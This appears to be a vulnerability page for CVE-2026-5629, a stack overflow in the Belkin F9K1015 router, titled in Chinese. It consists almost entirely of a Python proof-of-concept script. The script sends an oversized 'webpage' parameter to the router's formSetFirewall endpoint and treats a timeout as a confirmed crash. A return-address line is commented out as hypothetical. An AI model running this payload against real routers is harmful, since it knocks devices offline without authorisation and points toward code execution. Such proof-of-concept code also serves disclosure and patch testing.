CVE-2026-5629 Belkin F9K1015栈溢出漏洞

import requests import sys # Target configuration target_ip = "192.168.2.1" target_url = f"http://{target_ip}/goform/formSetFirewall" # Vulnerability details: Stack-based buffer overflow in 'webpage' parameter # The exact offset and ret address depend on the firmware version and binary analysis. # Below is a generic PoC structure demonstrating the crash trigger. def trigger_overflow(): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } # Constructing the payload # Assuming a buffer size of roughly 100 bytes for demonstration padding = b"A" * 200 # ret_addr = b"\xaf\x11\x40\x00" # Example return address (hypothetical) payload = padding data = { "webpage": payload.decode('latin-1') } try: print(f"[+] Sending exploit payload to {target_url}...") response = requests.post(target_url, headers=headers, data=data, timeout=5) print(f"[+] Server responded with status code: {response.status_code}") # If the device crashes or hangs, the DoS/Overflow is confirmed. except requests.exceptions.Timeout: print("[!] Request timed out. The device may have crashed (DoS confirmed).") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": trigger_overflow()